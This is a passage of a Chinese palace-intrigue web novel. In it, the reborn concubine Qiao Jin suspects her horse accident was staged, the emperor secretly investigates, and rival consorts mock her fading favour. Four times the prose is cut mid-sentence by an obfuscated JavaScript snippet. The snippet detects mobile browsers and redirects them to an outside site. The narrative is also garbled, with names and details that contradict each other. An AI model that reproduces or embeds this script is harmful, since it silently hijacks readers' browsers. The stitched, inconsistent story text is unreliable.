皇后的补品刚送走,各宫的动静便跟着来了。 贤妃素来与乔瑾无甚交集,此刻也遣人送了两株南海珍珠粉;素来低调的容嫔让人抬了一架玉屏风,说是“挡煞安神”;便是连之前与乔瑾有过嫌隙的丽昭仪,虽被禁足在朝阳殿,也托心腹送来了一支安神的沉水香。 一时间,君心殿的廊下堆满了各宫送来的礼盒,宫女太监们进进出出,忙得脚不沾地。 第一百四十九章 噩梦 掌灯时分,君景珩才从乾元殿回来。 他身上还带着墨香与寒气,一进门便挥退了众人,径直走到乔瑾身边,伸手探了探她的额头,声音是难得的温和:“还怕吗?今日是朕不好,该让你带更娴熟的侍卫。” 乔瑾摇摇头,看着他眼底的倦意,轻声道:“陛下忙公务要紧,臣妾没事了。” 君景珩叹了口气,替她拢了拢披风:“今日那马受惊得蹊跷,朕已让羽林卫去查了。你且安心休养,别胡思乱想。”他又坐了片刻,叮嘱了绿萼几句,便因还有急务要处理,匆匆离开了君心殿。 殿内重归寂静,唯有烛火噼啪作响。 乔瑾望着皇帝离去的方向,眼神有些复杂。 白日里的惊惧尚未完全散去,可这铺天盖地的关心与赏赐,却让她隐隐觉得有些不安。 “小主,珍婕妤来了。”绿萼的通报声打断了她的思绪。 只见珍婕妤身着一袭月白绣玉兰的宫装,未施粉黛,手中却提着一个小巧的食盒,带着两个宫女款步而入。 她脸上带着真切的担忧,一见到乔瑾便快步上前:“妹妹可好些了?我一下晚膳就赶来了,瞧你这脸色,还是这么苍白。” 说着,她亲自打开食盒,里面是一盅热气腾腾的百合莲子羹:“这是我亲手炖的,放了些凝神的合欢花,你尝尝看,或许能睡得安稳些。” 乔瑾连忙起身行礼:“有劳姐姐挂心了。” 珍婕妤扶她坐下,握着她的手,指尖微凉:“说什么劳不劳的,咱们姐妹在这宫里,本就该相互照拂。今日那事……真是太吓人了,好好的马怎么会突然受惊呢?我听宫里的小太监说,那马好像是被什么东西惊到了,蹄子底下还踩着个带铃铛的布偶?” 她语气随意,眼神却仔细观察着乔瑾的反应。 乔瑾端起莲子羹的手微微一顿,低头吹了吹热气,声音有些发闷:“我也不知道,当时只觉得马突然就立起来了,等回过神来,已经摔在地上了。” 她没提那布偶的事,也好似没有听出来珍婕妤这故意试探的意思。 珍婕妤“哦”了一声,若有所思地轻敲着桌面:“是吗?可真是奇怪。妹妹你刚得陛下看重,这宫里眼红的人可不少……” 她话锋一转,又换上温和的笑容,“不过妹妹别怕,有陛下护着你,还有我呢。若是发现什么不对劲的地方,一定要告诉我,别自己憋着。” 她顿了顿,又状似无意地问道:“对了,今日各宫都送了补品来,妹妹可还习惯?我瞧着皇后娘娘送的那阿胶不错,正好给你补补气血。” 乔瑾抬眼看她,珍婕妤的笑容依旧温婉,可那双眼睛里,却藏着一丝不易察觉的探究。 乔瑾忽然明白了,这看似关切的探望,何尝不是来探听口风的? 探听她是否知道受惊的内情,探听皇帝对这事的态度,甚至探听各宫送来的“心意”,她是否领会。 “多谢姐姐关心,”乔瑾垂下眼帘,舀了一勺莲子羹送入口中,甜腻的滋味在舌尖化开,却驱不散心底的寒意,“各宫的心意,臣妾都领了。只是受了些惊吓,没什么胃口,等好些了,定会一一答谢。” 她刻意避开了关于布偶和受惊原因的话题,只将话头引到客套的感谢上。 珍婕妤见状,也不再追问,又说了几句让她安心休养的话,便起身告辞了。 临走前,她深深地看了乔瑾一眼,那眼神意味深长,仿佛在说:这宫里的事,从来都不是表面看起来那么简单。 殿门关上的那一刻,乔瑾手中的汤勺“叮”的一声掉在碗里。 她看着桌上珍婕妤留下的莲子羹,又想起白日里那匹受惊的马,以及各宫纷至沓来的补品,一股寒意从脚底直窜上来。 要不是她还有上辈子的记忆,恐怕这回还真的就中招了。 上一世虽然不是自己被设计陷害,但是上一世曾有一个嫔妃,当时在后宫被皇上宠爱,可谓是深受皇上宠爱。 但是谁能想到每过半个月,她当时也是因为骑马而摔断了腿。 皇上的宠爱就如流水一样,来的快,去的也快。 那嫔妃叫什么名字,她当时就已经被禁足了,只听宫女说过这事,但那嫔妃的名字她还从未曾得知。 绿萼见她脸色不好,连忙道:“小主,您怎么了?是不是哪里不舒服?” 乔瑾摇摇头,思绪慢慢的收回,慢慢握紧了拳头。 她或许性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845705|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子憨直,不擅权谋,但并不蠢。 皇帝的过度关心,皇后与各宫的殷勤,还有珍婕妤话里话外的试探……这一切都像一张无形的网,将她笼罩其中。 她怕下一次的“意外”,可能就不是摔下马这么简单了。 窗外的月光透过窗棂洒进来,照亮了满地的礼盒,也照亮了乔瑾眼中渐渐凝聚的警惕与茫然。 夜深人静,君心殿内只余一盏昏黄的琉璃灯,在屏风后曳曳轻晃。乔瑾卸去钗环,和衣躺在锦被中,却迟迟无法入眠。 白日里马蹄踏碎青石的声响、宫人惊惶的呼喊,如同细密的针,反复扎着她的神经。 她强闭着眼,试图将那些画面挤出脑海,可意识刚沉入朦胧,一阵尖锐的马嘶便猛地撕裂了夜色。 梦境中,她仍骑着那匹雪白的玉骢马,在御花园的回廊间缓行。 阳光和煦,落英缤纷,一切都与白日无异。 忽然,马腹下窜出一团黑影,伴随着“叮铃”一声脆响,玉骢马猛地人立而起,前蹄在半空中划出狰狞的弧线。 她惊呼着拽紧缰绳,却只摸到一手滑腻的马汗,身体不受控制地向后倒去。 地面的青石板急速逼近,带着冰冷的恶意,耳边是呼啸的风声与自己破碎的尖叫…… “啊!” 乔瑾猛地从床上坐起,胸口剧烈起伏,冷汗瞬间浸透了中衣。 她茫然地环顾四周,直到看到床头那盏熟悉的琉璃灯,才惊觉自己已从噩梦中挣脱。殿内寂静无声,只有自己粗重的喘息和心脏擂鼓般的跳动。 “小主?”外间的绿萼被惊醒,连忙点了灯跑进内室,见乔瑾脸色惨白地坐在床上,发丝凌乱地黏在汗湿的脸颊上,吓得慌忙放下灯盏,“您又做噩梦了?” 乔瑾颤抖着伸出手,抓住绿萼的衣袖,指尖冰凉:“马……那匹马……”她语无伦次,眼前仍晃动着马蹄扬起的尘土,“它又惊了……” 绿萼连忙取来帕子为她擦拭额角的冷汗,柔声安抚:“没事了小主,是梦,只是个梦……您看,这不是在君心殿吗?” 她扶着乔瑾躺下,又往她身边塞了个暖炉,“奴婢守在您床边,您好好睡,不会再做噩梦了。” 第一百五十章 棋盘 乔瑾点点头,却再也不敢合上眼。 她盯着帐顶暗纹,白日里的细节在脑海中反复回放——那马受惊时,蹄下确实踩着个硬物,碎布片上似乎绣着朵不起眼的……兰花?而珍婕妤今日送来的莲子羹,碗沿便绘着一模一样的兰花纹样。 “绿萼,”她忽然低声开口,打破了殿内的沉寂,“白日里羽林卫来查时,说那布偶碎了,可曾看清上面的绣纹?” 绿萼正坐在脚踏上打盹,闻言愣了一下,仔细回想道:“当时乱哄哄的,奴婢好像……好像看见碎布上有片叶子,颜色很淡,像……像芷兰轩那边常用的月白素缎。” 芷兰轩,正是珍婕妤的宫殿。 乔瑾的心猛地一沉。 她想起珍婕妤今夜探病时,看似关切的话语里藏着的试探,想起她提起布偶时那意有所指的眼神。 难道白日的“意外”,并非偶然? 她缓缓坐起身,披了件外衣走到窗边。 月光透过窗棂,在地上投下斑驳的光影,像极了梦境里碎裂的青石板。 如果珍婕妤牵涉其中,那她为何要这么做? 是为了挑拨她与其他嫔妃的关系,还是……想借皇帝的手抬升她的位份,再伺机而动? 更让她不安的是,皇帝为何对此次受惊如此上心? 平日里他处理政务繁忙,何曾为后妃一点小意外连送数轮补品? 还有皇后与各宫的殷勤,丽昭仪禁足中仍送来的沉水香……这一切善意的表象下,是否都藏着不同的算计? “小主,夜深了,您怎么还站着?”绿萼端着温好的安神汤走近,“快把这汤喝了吧,不然明日该头疼了。” 乔瑾接过汤碗,却没有立刻饮用。 她望着碗中沉浮的合欢花,忽然想起白日**时,似乎在混乱中瞥见一道熟悉的身影,在假山后一闪而过——那身影的衣摆,像是……庄妃宫里新赏的烟霞锦。 难道庄妃也与此事有关?或者,这背后牵扯的人,远比她想象的更多? 她将汤碗放在窗台上,冰凉的指尖划过碗沿。 这深宫之中,恩宠是蜜糖,亦是**。 一次看似意外的坠马,竟牵扯出如此多的暗流。 若她再不警醒,下一次摔落的,或许就不是马背,而是万劫不复的深渊。 “绿萼,”乔瑾转过身,眼神比以往任何时候都要清明,“明日一早,你去做两件事:第一,悄悄去御马监,问问那匹玉骢马平日里是谁在照料,出事前可有异常;第二,去内务府库房,查查近半年来,各宫领用月白素缎和铃铛的记录。” 绿萼虽有些疑惑,但见自家小主语气郑重,连忙应下:“是,奴婢记下了。” 乔瑾点点头,重新躺回床上,却将一只手悄悄放在了枕头下——那里藏着白日里从马厩附近捡到的半片碎布,上面似乎还残留着一丝若有若无的、属于晚香玉的甜腻香气。 这晚香玉的香味……好像在哪里闻过? 她蹙眉思索,直到天边泛起鱼肚白,才在疲惫中渐渐睡去,掌心却仍紧紧攥着那片碎布,仿佛攥着解开迷局的唯一线索。 而窗外的宫墙之上,启明星正悄然隐没,新的一天,又将在这无声的算计中,缓缓拉开序幕。 —— 乾元殿内烛火通明,鎏金兽首香炉中飘出的龙涎香氤氲缭绕,却驱不散殿内沉沉的寒意。 君景珩身着玄色常服,负手立在御案前,案上堆着的奏折尚未翻开,他却盯着铺在紫檀木上的后宫舆图,眉峰紧蹙如铁。 檐角铜铃在夜风里轻晃,遥遥传来几声清响,更衬得殿内寂静得落针可闻。 “陛下,”贴身太监周公公佝偻着腰,垂首立在御座三步之外,**纹披风下的手指微微发颤,“羽林卫那边……有结果了。” 君景珩缓缓转过身,墨色广袖拂过舆图上“朝阳殿”的朱砂标记,声音沉得像淬了冰:“查得如何?那匹玉骢马受惊,当真是丽昭仪一人所为?” 周公公喉头滚动,上前一步,刻意压低了声音:“回陛下,老奴按您的吩咐,绕过内务府,直接提审了丽昭仪宫里的小太监。那奴才熬不住刑,招了……说是奉丽昭仪之命,在马料里掺了少量麻沸散,想让瑾嫔摔下马背,只做个‘意外’。可……” 他顿了顿,抬眼飞快地瞥了眼皇帝的脸色,又迅速低下头,“可老奴觉得不对劲。丽昭仪虽狠戾,却不至于如此莽撞,更何况,那马腹下的布偶铃铛,样式老旧,不像是朝阳殿常用的物件。” 君景珩抬手,示意周公公走近。 当周公公俯身在他耳边时,烛火恰好将两人的影子投在舆图上,像两柄交叠的暗刃。 “陛下,”周公公的声音压得极低,几乎化作一缕气音,“那小太监最后还吐了句,说……说此事是‘庄妃娘娘宫里的人’递了消息,教他们如何动手脚……可他话没说完就晕了过去,奴才再问,他只喊着‘还有人’,却听不清名字了……” “庄妃?”君景珩眸色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845706|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一沉,指尖重重叩在舆图上“芷兰轩”的位置——那正是庄妃。 他想起前日珍婕妤亲自去君心殿探病时,那番看似关切实则试探的话语,唇边勾起一抹冷峭的弧度,“果然不止她一个。” 周公公见皇帝神色莫测,连忙躬身道:“陛下圣明。若只是丽昭仪一人,何必将布偶做得那般刻意?分明是想借她的手,既除去瑾嫔,又搅乱后宫浑水。” “所以朕只禁足了她,没动雷霆之怒。”君景珩走到窗边,推开半扇雕花木窗,夜风吹得他衣摆猎猎作响,“丽昭仪这枚棋子,还得留着。若现在就将她拔除,背后的人只会藏得更深。” 他转过身,目光如鹰隼般扫过周公公:“传旨下去,羽林卫加大查访力度,重点盯着庄妃宫里的往来人员,还有……” 他顿了顿,指腹划过舆图上“景仁宫”的标记——那是淑妃的宫殿,“去查查庄妃近日是否与宫外有书信往来。另外,把御马监负责照料玉骢马的管事太监带上来,朕要亲自审问。” “奴才遵旨!”周公公不敢怠慢,刚要退下,却听君景珩又淡淡开口: “等等。瑾嫔那边,以后不用再送补品了,太医也不用过去了,这几日也别去宸嫔那里。” 周公公心中一凛,立刻明白皇帝的用意,皇上这是对宸嫔保护起来了。 这深宫里的每一步棋,都藏着刀锋般的算计。 “陛下,”周公公忍不住低声道,“可万一瑾嫔她……” “她若连这点风浪都经不起,也不配在这宫里待着。” 君景珩打断他,重新坐回御座,拾起案上的朱笔,却没有批阅奏折,只是用笔尖轻轻敲击着砚台,“这后宫就像一潭水,朕偶尔搅和一下,才能看清底下沉了多少烂泥。丽昭仪、庄妃,或是其他人……既然敢在朕的眼皮子底下动手,就得做好付出代价的准备。” 烛光在他眼底跳跃,映出帝王心术里深不见底的寒潭。 他看似在查一桩后妃争斗的小事,实则在丈量每一寸宫墙下的野心与背叛。 而那枚被推到明处的丽昭仪,不过是他棋盘上,用来引出更多棋子的第一步。 周公公躬身退下,殿外传来他传唤羽林卫的声音。 君景珩将朱笔掷在砚中,墨汁溅开,在明黄的奏折上染出一团深色的印记,如同后宫深处悄然蔓延的阴谋。 他看着舆图上密密麻麻的宫殿标记,嘴角勾起一抹无人察觉的冷笑—— 这场戏,才刚刚开始。 第一百五十一章 见风使舵 冬阳斜斜穿过雕花窗棂,在君心殿金砖上投下斑驳碎影。 殿内静得只听得见铜鹤香炉里檀香燃尽时细微的簌簌声,往日里穿梭不息的宫人此刻都敛着声息,连廊下扫落叶的小太监都刻意放轻了扫帚 偏殿外的石榴树下,几个洒扫宫女正低头分拣着刚摘下的花瓣,年纪最小的绿枝忍不住偷瞄了眼紧闭的殿门,压低声音道:“自打前几日娘娘骑马在马上惊了马,皇上可就再没踏过君心殿的门槛了……” “嘘!”年长的宫女春桃慌忙捂住她的嘴,眼角余光警惕地扫向四周,“周公公都半月没过来传旨了,皇上的意思谁能不懂?不过你瞧娘娘这几日,整日抱着那把焦尾琴发呆,茶饭都减了大半。” 殿内软榻上,乔瑾正对着案头一盆枯败的秋海棠出神。 指尖无意识地划过琴身冰裂纹,弦上未落的音符搅得心头一片涩意。 前日里换冬帐时,她无意间翻出上一世禁足时所绣的残幅,青灰色的丝线绣着断壁残荷,针脚里全是当年漫漫长夜的寒意。 “娘娘,该用午膳了。”绿萝端着青瓷食盒进来,见她又对着窗外出神,不由得轻叹一声,“今日小厨房做了您最爱吃的蟹粉豆腐,奴婢给您温着些?” 乔瑾闻声抬眸,眼底蒙着层薄薄的水汽,像极了雨前欲坠的云。 她望着晚晴欲言又止的模样,突然想起上一世被禁足时,也是这样日复一日的寂静,直到最后连送膳的宫人都换了生面孔。 “绿萝,”她声音轻得像一片落叶,“你说……皇上是不是又厌弃我了?” 绿萝手一抖,食盒险些落地。她连忙稳住神,将白瓷碗摆在桌上,氤氲的热气模糊了她泛红的眼眶。 “娘娘说什么胡话呢!”绿萝强笑着替她拢了拢披帛,“皇上怕是怕再有人借您生事,才暂避些时日。昨儿奴婢还见御花园管事往这儿搬新培的绿梅呢,不是皇上的意思又是谁的?” 乔瑾指尖猛地攥紧了琴穗,穗子上的珊瑚珠硌得掌心生疼。 她想起上一世也是这般,旁人都道皇上是为了护住她才冷待,可最终等来的却是更深的禁锢。 殿外秋风卷着落叶扑在窗纸上,沙沙声响里,她仿佛又听见上一世冷宫墙角那片枯荷被雨水打透的声音。 “护住我?”她低低重复着,嘴角牵起一抹凉薄的笑,“若真是护住我,何必将我丢在这君心殿里,连句温言软语都吝于给我?” 晚晴看着她日渐消瘦的侧脸,喉间像被棉絮堵住般说不出话。 远处钟粹宫方向隐隐传来丝竹声,想是新晋的刘才人又在排演新曲。 她张了张嘴,终是将“皇上昨夜还问起您的安神汤”这话咽了回去——有些话,说了只怕更添愁绪。 日头正中时,鎏金自鸣钟刚敲过午初,晚晴与绿萝一前一后抬着食盒进了内殿。 紫檀木食盒边角的铜棱子在日光下泛着冷光,里头却没传来往常惯有的蟹粉香气。 绿萝刚掀开最上层食盒,指尖就被烫得一缩——里头摆着的竟是两碟寡淡的素炒冬苋,一盅漂着油星的冬瓜汤,连那盘红白相间的水晶肘子都切得歪歪扭扭,肉皮上还凝着未化的白脂。 “这……”绿萝的嗓门陡然拔高,袖口蹭到食盒边缘,震得青瓷碗碟叮当作响,“昨儿晚晴姐姐才跟小厨房特意交代过的蟹粉豆腐呢?莫不是长了腿自己跑了?” 晚晴慌忙按住她的手,眼角瞥见乔瑾搁在膝头的帕子已被攥得发皱。 殿外廊下传来杂役太监嬉笑声,像针一样扎进寂静的殿内。 “小厨房的张管事说……”晚晴的声音低下去,指甲掐进掌心,“说近来御膳房食材紧俏,蟹粉豆腐是时令菜,先紧着钟粹宫刘才人那边了……” “放狗屁!”绿萝猛地将食盒重重蹾在桌上,溅出的冬瓜汤洒在桌布上洇出灰黄的印子,“半月前咱们娘娘还用着新贡的阳澄湖大闸蟹,如今倒轮到那狐媚子先挑拣了?这群趋炎附势的狗奴才,见皇上几日没来,就敢把咱们君心殿不放在眼里了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845707|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她越说越气,素日里梳得齐整的垂鬟分肖髻都晃得散了发丝,抓起廊下晾着的掸子就要往外冲。 “我去膳房问问清楚!是哪个不长眼的敢克扣娘娘的份例,看我不把他那狗头拧下来当尿壶!” “绿萝!” (瑾的声音不高,却带着一股冻透了的寒意。 她扶着炕几慢慢站起身,月白绣玉兰的裙裾扫过地面,惊起一团浮尘在光柱里打转。 方才还攥着的帕子滑落在地,露出手背上几道被珊瑚珠硌出的红痕。 “回来。”她望着窗外那棵开始掉叶子的石榴树,目光空濛得像罩着层薄雾,“不过是一碟豆腐,犯不着动气。” “娘娘!”绿萝跺脚急道,鬓边的红绒花随着动作乱颤,“这不是一碟豆腐的事!您瞧他们那副嘴脸,简直是踩着咱们脖子往上爬!再这样下去,连洒扫的奴才都敢往咱们汤里吐唾沫了!” 乔瑾缓缓转过身,阳光从她身后照过来,将脸上的轮廓镀成一片模糊的金影。 她看着绿萝气得通红的脸,忽然想起上一世禁足时,也是这样的场景——小厨房送来的饭菜里总混着碎石子,当值的太监故意在殿外摔碎汤碗,而那时的她还会哭着让宫人去理论。 “吐唾沫?”她低声笑了笑,那笑意却没到眼底,只在嘴角牵出个极淡的弧,“吐了又如何?难不成还能堵上所有人的嘴?” 她弯腰捡起地上的帕子,指尖摩挲着帕角绣的并蒂莲,那是刚入宫时君景珩亲手挑的花样。 如今丝线依旧鲜亮,只是绣它的人的心,早已在无数个这样的寂静午后里,慢慢凉透了。 “由他们去罢。”乔瑾将帕子叠得方方正正,放回妆台上,“这君心殿的门槛,本就不是人人都踏得进来的。如今他们愿踩,便由着他们踩个够。” 绿萝望着她转身时微微佝偻的背影,突然说不出话来。 殿内那盆枯败的秋海棠又落了片叶子,悄无声息地掉在青砖上,像一声无人听见的叹息。 第一百五十二章 蟹粉豆腐 更漏敲过三更时,君心殿西次间的窗纸上仍透着昏黄烛影。 乔瑾披着件玄色刻丝斗篷坐在妆台前,镜中映出的面容在摇曳烛火下忽明忽暗,鬓边一支赤金点翠步摇随着她转动木梳的动作,在发间颤出细碎流光。 那是三日前君景珩赏的,如今却成了妆奁里最刺眼的物什。 “娘娘,已交子时了。”绿萝抱着床蹙金绣鸾鸟锦被进来,见她还对着铜镜梳发,鞋底蹭过青砖的声音都带着小心翼翼,“明早卯正就得去翊坤宫请安,再不去睡,天亮可怎么起得来?” 乔瑾握着木梳的手顿了顿,梳齿间绞着几根乌黑发丝。 窗外夜风卷着雨丝扑在窗棂上,淅淅沥沥的声响里,她忽然想起前几日告假时,皇后派来的女官说的那句“妹妹身子要紧,歇够了再过来叙话”。 那时她还能隔着纱帐笑应,如今却连掀开锦被的力气都似被抽走了。 “睡不着。”她低声道,指尖无意识地绕着梳柄上的琥珀璎珞,“你把灯熄了罢。” 绿萝“哎”了声,忙去吹灭妆台上的羊角宫灯。 殿内霎时沉入浓墨般的黑暗,唯有檐角铜铃在风雨中发出细碎的叮当声。 乔瑾摸到床榻坐下时,听见绿萝将锦被轻轻覆在她身上,被角还带着暖炉烘过的余温。 “娘娘放宽心些,”绿萝的声音从帐外传来,带着困意的含糊,“许是皇上这几日忙,过些时日总会来的……” 帐内没有应声。乔瑾睁着眼望着头顶的青纱帐,雨点击打芭蕉的声音透过窗隙渗进来,在寂静里被无限放大。 她想起上一世也是这般,恩宠来得汹涌去得猝然,那时她还会捧着他赏的玉如意掉眼泪,如今却只觉得心口像被什么东西堵住,连呼吸都带着冷意。 原以为这一世能看透些,却没想帝王的情意薄如蝉翼,不过半月就被风吹得没了踪影。 不知过了多久,雨势渐小,更漏敲过五更三点。 乔瑾刚在半梦半醒间抓住点睡意,就被帐外轻轻的摇晃惊醒。 “娘娘?娘娘该起了。”绿萝的声音带着急切,手里的铜盆碰在门槛上发出“哐当”一声响,“卯初了,再不起梳洗,去翊坤宫该迟了。” 乔瑾费力地掀开眼皮,帐外透进的微光里,绿萝正踮着脚去解帐钩,鬓边的绢花上还凝着露水。 她动了动手指,只觉得浑身酸软得像散了架,昨夜那点浅眠根本没解乏。 “水……”她嗓音沙哑得厉害,刚撑起身子,就看见绿萝端着铜盆疾步走近,盆里的热水腾起的雾气模糊了她带着歉意的脸。 “奴婢知道娘娘没睡好,”绿萝将拧干的面巾递过去,指尖触到她微凉的手腕时忍不住颤了颤,“可今儿是告假最后一日,皇后娘娘那边……” “知道了。”乔瑾接过面巾按在眼上,温热的水汽熨得眼眶发酸。 她想起上一世告假逾期的那日,也是这样被宫人催着起身,最后却在翊坤宫门前跪了半个时辰。 如今虽不至于此,可那股熟悉的寒意却顺着后颈爬了上来。 面巾从脸上滑落时,她看见绿萝正捧着件石青色云锦宫装候在一旁,衣领处绣的缠枝莲纹在晨光里泛着暗金光泽——那是她初封贵人时穿的衣裳,如今穿在身上竟显得有些松垮。 “就穿这件罢。”她掀开锦被下床,赤足踩在青砖上时打了个寒噤。 绿萝慌忙将绣鞋递过来,却在触到她脚踝时惊呼出声——那截皓白的肌肤上,竟青了一小块。 “娘娘这是……” 乔瑾低头看了眼,想起昨夜翻身时不小心撞到了炕沿。 她淡淡收回脚,塞进绣鞋里,声音平静得像一潭死水:“不妨事。快些梳妆罢,莫要误了时辰。” 铜镜里,石青色宫装衬得她脸色愈发苍白,唯有眉心一点朱砂痣还透着些微血色。 绿萝替她簪上支最简单的白玉簪时,殿外忽然传来小太监通报声,说翊坤宫的掌事女官已在廊下候着了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845708|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔瑾望着镜中自己的模样,忽然抬手按住了绿萝正要插步摇的手。 “不必了。”她望着镜中人微微勾起嘴角,那笑意却未达眼底,“这样素净些,倒也合时宜。” 卯正三刻的日头刚攀上翊坤宫飞檐,乔瑾攥着裙摆跨进殿门时,鬓边的白玉簪正随着疾步晃得发颤。 殿内熏着暖融融的百合香,皇后斜倚在明黄靠背引枕上,见她裙角还沾着晨露,手中的鎏金茶盏顿了顿。 “妹妹可算来了,”皇后指尖划过茶盏边缘的缠枝莲纹,声音隔着袅袅热气飘过来,“昨儿还听女官说你身子不爽利,今儿瞧着倒清减了些。” 乔瑾敛衽行礼时,眼角余光瞥见东首紫檀绣墩上坐着的嫔妃们。 刘才人正慢条斯理地绞着帕子,金镶玉护甲在日光下晃出细碎光芒。 张婕妤与身旁的李美人交换了个眼神,嘴角那抹似笑非笑的弧度像淬了冰。 殿内寂静得能听见铜鹤香炉里炭块爆裂的轻响,所有目光都像针一样扎在她石青色的宫装上。 “有劳娘娘挂心,”乔瑾垂着眼帘跪在冰凉的金砖上,额头几乎要碰到地面,“臣妾……已大好了。” “起来坐着罢,”皇后搁下茶盏,侍女连忙上前将绣墩往她身边挪了挪。 乔瑾刚坐下,就听见西首传来一声刻意压低的嗤笑,那是新晋的刘才人在用银指甲轻刮茶盏底。 “妹妹这衣裳……”宁贵嫔忽然开口,她身上那件藕荷色蹙金绣牡丹宫装衬得脸色雪白,指尖绕着腕上的赤金镶红宝石镯慢悠悠晃着,“倒像是去年的旧样式了?前儿本宫瞧着钟粹宫的刘妹妹,可是穿了皇上新赏的云锦呢。” 乔瑾放在膝头的手猛地攥紧,石青色衣料被捏出深深的褶皱。 绿萝站在她身后,气得鬓角的绢花都歪了,正要上前分辩,却被乔瑾暗中拽住了袖口。 “许是本宫疏忽了,”乔瑾声音发颤,却依旧维持着低头的姿势,“换季的衣裳还没顾上拾掇。” 第一百五十三章 刺耳 “哦?”宁贵嫔拖长了尾音,忽然转头看向身侧的宫女,“你可还记得?昨儿小厨房的张管事来回话,说咱们这御膳房的蟹粉豆腐做得极好,倒不知……”她顿了顿,目光像刀子般刮过乔瑾苍白的脸,“宸嫔妹妹昨日可尝到那滋味了?” “蟹粉豆腐”四个字像惊雷劈在殿中,原本交头接耳的嫔妃们霎时静了声。 刘才人绞帕子的手停在半空,张婕妤端着茶盏的手指节泛白。绿 萝“噌”地往前踏了半步,被乔瑾死死按住手背,指甲几乎掐进肉。 “姐姐这是何意?”刘才人率先反应过来,娇笑着搭话,“莫不是宸嫔妹妹宫里的膳食……” “哎呀,妹妹可别误会,”宁贵嫔故作惊讶地睁大眼,金镶玉步摇在发间颤出细碎流光,“不过是前儿听膳房的人说,阳澄湖的蟹粉先紧着钟粹宫和咱们翊坤宫送,想着宸嫔妹妹最爱这口,便随口问问罢了。” 她话音刚落,李美人立刻接腔:“可不是么!昨儿我还见小厨房给钟粹宫送了满满三大碗呢,倒是宸嫔妹妹……莫不是御膳房的食材真不够了?” “许是皇上想着,”张婕妤掩唇轻笑,眼尾的胭脂晕得恰到好处,“宸嫔妹妹前儿受了惊,吃些清淡的好养生呢。” 殿内爆发出一阵压抑的嗤笑,像无数根针同时扎进乔瑾的耳朵。 她垂着头,能看见自己映在金砖上的影子微微发颤,石青色裙摆被膝头压出的褶皱像道永远熨不平的伤疤。 绿萝气得浑身发抖,喉咙里溢出低低的呜咽,却被乔瑾用眼神死**了回去。 “都住口!”皇后忽然轻叩了下茶盏,鎏金托盘发出清脆的声响,“不过是一碟豆腐,也值得你们这般嚼舌根?宸嫔身子刚好,你们做姐姐的该多体恤些。” 她语气虽淡,眼神却扫过宁贵嫔时带了丝冷意。 她虽不喜乔瑾这般一直勾着皇上,但是更不喜身为太后侄女的宁贵嫔。 宁贵嫔连忙敛衽赔笑,可那抹藏在眼底的得意却怎么也掩不住。 乔瑾攥着帕子的手缓缓松开,帕角绣的并蒂莲被冷汗浸得发潮,她听见自己的声音从喉咙里挤出来,轻得像片落叶。 “娘娘说的是,”她抬头时,眼角余光瞥见窗外那株落尽叶子的梧桐,“臣妾……确实近来食不下咽,倒叫姐姐们挂心了。” 铜鹤香炉里的暖香突然变得呛人,乔瑾盯着宁贵嫔腕上那只赤金镶红宝石镯——三日前她去御膳房时,分明看见张管事正陪着这位贵人挑拣蟹斗。 此刻那镯子在晨光里晃出的红光,像极了御膳房账本上批注“宸嫔份例暂减”的朱砂笔。 “难怪……”她喉间泛起股铁锈味,指甲深深掐进掌心。 前日晚晴去领月例时,库管太监推说银钱紧张;昨儿想换盆水仙,花房管事又说好花早被各宫挑完了。 原以为是失宠后的墙倒众人推,却没想这把火早在皇上踏足君心殿之前,就有人悄悄点起来了。 “娘娘,”李才人忽然拔高声调,指尖绕着鎏金护甲划过长桌,“昨儿臣妾往御书房送汤,见皇上正对着舆图看呢,莫不是在列今冬南苑围猎的名单?” 她话音刚落,张婕妤立刻用团扇掩住半张脸,眼尾扫过乔瑾时带着毫不掩饰的戏谑:“说起围猎,前几日宸嫔妹妹还被皇上亲自教呢,看起来皇上应该会带着宸嫔妹妹的,就是不知今年……” 